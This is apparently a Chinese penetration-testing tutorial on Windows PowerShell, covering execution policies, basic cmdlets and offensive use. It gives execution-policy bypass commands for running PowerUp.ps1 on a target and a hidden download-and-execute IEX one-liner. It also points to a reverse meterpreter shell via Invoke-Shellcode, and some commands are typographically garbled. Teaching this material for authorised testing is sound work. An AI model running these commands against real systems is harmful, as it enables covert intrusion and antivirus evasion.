内网渗透测试基础——Windows PowerShell篇

1. Windows PowerShell基础

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7、Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令提示符cmd.exe的扩展。

PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点。

  • 在Windows 7 以上版本的操作系统中是默认安装的。
  • 脚本可以在内存中运行,不需要写入磁盘。
  • 几乎不会触发杀毒软件。
  • 可以远程执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 使Windows脚本的执行变得更容易。
  • cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止。
  • 可用于管理活动目录。

Windows操作系统所对应的PowerShell版本,如图所示。

可以输入**“Get-Host"或者”$PSVersionTable.PSVERSION"**命令查看PowerShell的版本,如图所示。

内网渗透测试基础——Windows PowerShell篇-LMLPHP

2. PowerShell的基本概念

1. .ps1文件

一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。

2. 执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。

如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy。
  • Restricted: 脚本不能运行(默认设置)。
  • RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)。
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行。
  • Unrestriced:允许所有脚本运行。

可以使用下面的cmdlet命令设置PowerShell的执行策略。


Set-ExecutionPolicy

3. 运行脚本

要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”。

一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如“.\a.ps1")即可运行脚本。这与在Linux中执行Shell脚本的方法相同的。

4. 管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符“p"开头的程序停止运行。


PS> get-process p* | stop-process


3. PowerShell的常用命令

1. 基础知识

在PowerShell下,类似cmd命令的命令叫做cmdlet命令。二者的命名规范一致,都采用”动词-名词“的形式,例如”New-Item"。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Liinux Shell,例如Get-Children命令在dir和ls下均可使用。另外,PowerShell命令不区分大小写。下面以文件操作为例,讲解PowerShell命令的基本用法。

  • 新建目录:New-Item whitecellclub-ItemType DIrectory。
  • 新建文件:New-Item light.txt–ItemTypeFile。
  • 删除目录:Remove-Item whitecellclub。
  • 显示文本内容:Get-Content test.txt。
  • 设置文本内容:Set-Content test.txt-Value “hello,world!"。
  • 追加内容:Add-Contentl light.txt-Value “i love you"。
  • 清除内容:Clear-Content test.txt。
2. 常用命令

在Windows终端提示符下输入”powershell“,进入PowerShell命令行环境。输入”help“命令即可显示帮助菜单,如图所示。

内网渗透测试基础——Windows PowerShell篇-LMLPHP

要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。

(1)绕过本地权限并执行

将PowerUp.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本,如图所示。

内网渗透测试基础——Windows PowerShell篇-LMLPHP


PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1


将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下。


powershell.exe -exec bypass -Command “& {Import-Module C:\PowerUp.ps1;Invoke-AllChecks}”


(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行


PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]


使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。

3. 运行32位和64位PowerShell

一些PowerShell脚本只能运行在指定的平台上。例如64位的平台上,需要通过64位的PowerShell脚本来运行命令。在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成两个独立程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\目录下。

  • 运行32位PowerShell脚本,命令如下。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass


  • 运行64位PowerShell脚本, 命令如下。

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass


推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

hell.exe -NoP -NonI -W Hidden -Exec Bypass


推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

12-18 08:15